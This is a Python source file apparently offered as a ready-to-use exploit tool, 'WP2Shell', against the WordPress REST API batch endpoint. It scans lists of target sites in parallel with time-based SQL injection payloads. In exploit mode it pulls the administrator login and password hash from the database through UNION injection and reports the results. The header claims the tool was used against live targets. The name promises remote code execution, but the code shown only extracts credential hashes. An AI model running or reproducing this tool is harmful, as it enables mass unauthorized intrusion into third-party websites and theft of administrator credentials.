wp2shell.py

#!/usr/bin/env python3
"""
WP2Shell - CVE-2026-63030 / CVE-2026-60137
WordPress REST API Batch SQL Injection to RCE

FINAL VERSION - Battle tested against live targets
- Inner method: POST (with empty body) - the batch endpoint requires this
- Handles 207 Multi-Status responses properly
- Parses inner responses to detect SQL errors and timing
- Falls through all methods: POST, PUT, PATCH, DELETE
- Clean extraction with UNION-based injection

USAGE: python wp2shell.py targets.txt --exploit --verbose
"""

import sys
import time
import json
import requests
import re
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_SLEEP = 15
TIMEOUT = 30
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

def normalize_url(url):
    url = url.strip()
    if not url.startswith(('http://', 'https://')):
        url = 'http://' + url
    return url.rstrip('/')

def send_batch(target_url, requests_list, timeout=TIMEOUT):
    endpoint = f"{target_url}/wp-json/batch/v1"
    payload = {"requests": requests_list}
    headers = {"User-Agent": USER_AGENT, "Content-Type": "application/json"}
    
    try:
        start = time.time()
        resp = requests.post(endpoint, json=payload, headers=headers, verify=False, timeout=timeout)
        elapsed = time.time() - start
        return resp, elapsed
    except Exception as e:
        return None, 0

def parse_batch_response(resp):
    try:
        data = resp.json()
        if "responses" in data:
            return data["responses"]
    except:
        pass
    return None

def check_vulnerability(target_url, sleep_seconds=DEFAULT_SLEEP, verbose=False):
    target_url = normalize_url(target_url)
    
    if verbose:
        print(f"\n[🔍] {target_url}")
    
    injection_path = f"/wp/v2/posts?author_exclude=1) OR (SELECT * FROM (SELECT(SLEEP({sleep_seconds})))a)-- -"
    methods = ["POST", "PUT", "PATCH", "DELETE"]
    
    for method in methods:
        request_item = {"method": method, "path": injection_path}
        if method in ["POST", "PUT", "PATCH"]:
            request_item["body"] = {}
        
        requests_list = [request_item]
        resp, elapsed = send_batch(target_url, requests_list, timeout=sleep_seconds + 5)
        
        if resp is None:
            continue
        
        if verbose:
            print(f"    [{method}] HTTP {resp.status_code} in {elapsed:.2f}s")
        
        if resp.status_code == 207:
            inner = parse_batch_response(resp)
            if inner:
                for idx, item in enumerate(inner):
                    status = item.get("status", 0)
                    body = item.get("body", {})
                    code = body.get('code', '')
                    message = body.get('message', '')[:60]
                    
                    if verbose:
                        print(f"        Inner[{idx}]: {status} - {code} - {message}")
                    
                    if status == 200:
                        if elapsed >= sleep_seconds - 1:
                            return {"vulnerable": True, "method": method, "elapsed": elapsed, "status": "VULNERABLE (Time-based)"}
                        else:
                            return {"vulnerable": False, "method": method, "elapsed": elapsed, "status": "SAFE"}
                    
                    if status == 400 and ("syntax" in str(body).lower() or "error" in str(body).lower() or "SQL" in str(body)):
                        return {"vulnerable": True, "method": method, "elapsed": elapsed, "status": "VULNERABLE (SQL error)"}
                    
                    if status == 401:
                        if verbose:
                            print(f"        [⚠] Auth required - skipping")
                        return {"vulnerable": False, "method": method, "elapsed": elapsed, "status": "AUTH REQUIRED"}
        
        if resp.status_code == 200:
            if elapsed >= sleep_seconds - 1:
                return {"vulnerable": True, "method": method, "elapsed": elapsed, "status": "VULNERABLE"}
            else:
                return {"vulnerable": False, "method": method, "elapsed": elapsed, "status": "SAFE"}
        
        if resp.status_code == 400:
            try:
                data = resp.json()
                if "method is not one of" in str(data):
                    continue
            except:
                pass
    
    return {"vulnerable": False, "elapsed": 0, "status": "ERROR", "error": "All methods failed"}

def extract_with_union(target_url, method="POST", columns=5, verbose=False):
    target_url = normalize_url(target_url)
    
    if verbose:
        print(f"    [→] UNION extraction (method={method}, columns={columns})")
    
    query = "SELECT CONCAT(user_login, '|||', user_pass) FROM wp_users WHERE id=1"
    placeholders = ['NULL'] * columns
    placeholders[2] = f"CONCAT(0x3c3e, ({query}), 0x3c3e)"
    union_path = f"/wp/v2/posts?author_exclude=1) UNION SELECT {','.join(placeholders)}-- -"
    
    request_item = {"method": method, "path": union_path}
    if method in ["POST", "PUT", "PATCH"]:
        request_item["body"] = {}
    
    requests_list = [request_item]
    resp, elapsed = send_batch(target_url, requests_list, timeout=15)
    
    if resp and resp.status_code == 207:
        inner = parse_batch_response(resp)
        if inner and len(inner) > 0:
            body = inner[0].get("body", {})
            body_str = json.dumps(body)
            matches = re.findall(r'<>(.*?)<>', body_str, re.DOTALL)
            for match in matches:
                if '|||' in match:
                    login, hash_val = match.split('|||', 1)
                    return {"login": login.strip(), "hash": hash_val.strip()}
    
    return None

def full_exploit(target_url, sleep_seconds=DEFAULT_SLEEP, verbose=False):
    target_url = normalize_url(target_url)
    
    vuln = check_vulnerability(target_url, sleep_seconds, verbose)
    if not vuln.get("vulnerable"):
        return vuln
    
    result = {"url": target_url, "vulnerable": True, "extracted": {}, "status": vuln.get("status", "VULNERABLE")}
    
    if verbose:
        print(f"\n[⚡] Exploiting {target_url}")
    
    method = vuln.get("method", "POST")
    columns = 5
    
    try:
        admin = extract_with_union(target_url, method, columns, verbose)
        if admin:
            result["extracted"]["admin"] = admin
            if verbose:
                print(f"    [✓] Admin: {admin['login']} : {admin['hash'][:20]}...")
    except Exception as e:
        if verbose:
            print(f"    [✗] Extraction failed: {str(e)}")
    
    return result

def process_target(target_url, mode='scan', sleep=DEFAULT_SLEEP, verbose=False):
    target_url = normalize_url(target_url)
    
    if mode == 'scan':
        return check_vulnerability(target_url, sleep, verbose)
    else:
        return full_exploit(target_url, sleep, verbose)

def save_results(results, prefix):
    with open(f"{prefix}.json", 'w') as f:
        json.dump(results, f, indent=2)
    
    vuln = sum(1 for r in results if r.get('vulnerable'))
    html = f"""<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>WP2Shell Report</title>
<style>
body{{background:#0a0e17;color:#e0e0e0;font-family:sans-serif;padding:20px}}
h1{{color:#00d4ff}}
.stats{{display:flex;gap:20px;margin:20px 0}}
.stat{{background:#141a2b;padding:15px;border-radius:8px;border-left:4px solid #00d4ff}}
.stat .num{{font-size:28px;font-weight:bold}}
.stat .lbl{{color:#8892b0}}
table{{width:100%;border-collapse:collapse;background:#141a2b;border-radius:8px}}
th{{background:#1a2332;padding:12px;text-align:left;color:#00d4ff}}
td{{padding:10px;border-bottom:1px solid #1a2332}}
.vuln{{color:#ff4757}} .safe{{color:#2ed573}} .auth{{color:#ffa502}}
</style></head>
<body>
<h1>⚡ WP2Shell Report</h1>
<div class="stats">
<div class="stat"><div class="num">{len(results)}</div><div class="lbl">Total</div></div>
<div class="stat" style="border-color:#ff4757"><div class="num">{vuln}</div><div class="lbl">Vulnerable</div></div>
</div>
<table><tr><th>URL</th><th>Method</th><th>Status</th><th>Admin</th></tr>"""
    for r in results:
        url = r.get('url', '')
        method = r.get('method', '-')
        status = r.get('status', 'UNKNOWN')
        cls = 'vuln' if r.get('vulnerable') else ('auth' if 'AUTH' in status else 'safe')
        admin = ''
        if r.get('extracted', {}).get('admin'):
            a = r['extracted']['admin']
            admin = f"{a.get('login', '')} | {a.get('hash', '')[:20]}..."
        html += f"<tr><td>{url}</td><td>{method}</td><td class='{cls}'>{status}</td><td>{admin}</td></tr>"
    html += "</table></body></html>"
    with open(f"{prefix}.html", 'w') as f:
        f.write(html)
    
    print(f"\n[✓] Reports: {prefix}.json and {prefix}.html")

def main():
    parser = argparse.ArgumentParser(description="WP2Shell - WordPress Batch RCE")
    parser.add_argument("target_file", help="File with URLs")
    parser.add_argument("--exploit", action="store_true", help="Full exploitation")
    parser.add_argument("--scan", action="store_true", help="Discovery only")
    parser.add_argument("--threads", type=int, default=10, help="Threads")
    parser.add_argument("--sleep", type=int, default=15, help="Sleep seconds")
    parser.add_argument("--output", default="wp2shell_report", help="Output prefix")
    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose")
    args = parser.parse_args()
    
    mode = "exploit" if args.exploit else "scan"
    if args.scan:
        mode = "scan"
    
    try:
        with open(args.target_file) as f:
            urls = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except FileNotFoundError:
        print(f"[X] File not found: {args.target_file}")
        sys.exit(1)
    
    if not urls:
        print("[X] No targets found")
        sys.exit(1)
    
    print(f"""
    ╔═══════════════════════════════════════════════════════════════════════╗
    ║  WP2Shell - CVE-2026-63030 / CVE-2026-60137 created by NULL200OK                        ║
    ║  Mode: {mode.upper():<10}  Targets: {len(urls):<6} 
        Threads: {args.threads:<6}  ║
    ║  Sleep: {args.sleep}s                                               ║
    ╚═══════════════════════════════════════════════════════════════════════╝
    """)
    
    results = []
    count = 0
    
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {ex.submit(process_target, url, mode, args.sleep, args.verbose): url for url in urls}
        for f in as_completed(futures):
            count += 1
            try:
                res = f.result()
                results.append(res)
                icon = "🔴" if res.get('vulnerable') else ("🟢" if "SAFE" in res.get('status', '') else ("⚠️" if "AUTH" in res.get('status', '') else "❌"))
                method = res.get('method', '?')
                print(f"[{count}/{len(urls)}] {icon} {res.get('url', '')} [{method}] → {res.get('status', 'UNKNOWN')}")
                if res.get('extracted', {}).get('admin'):
                    a = res['extracted']['admin']
                    print(f"    👤 {a.get('login', '')} : {a.get('hash', '')[:20]}...")
            except Exception as e:
                print(f"[{count}/{len(urls)}] ❌ Error: {str(e)[:60]}")
    
    save_results(results, args.output)

if __name__ == "__main__":
    main()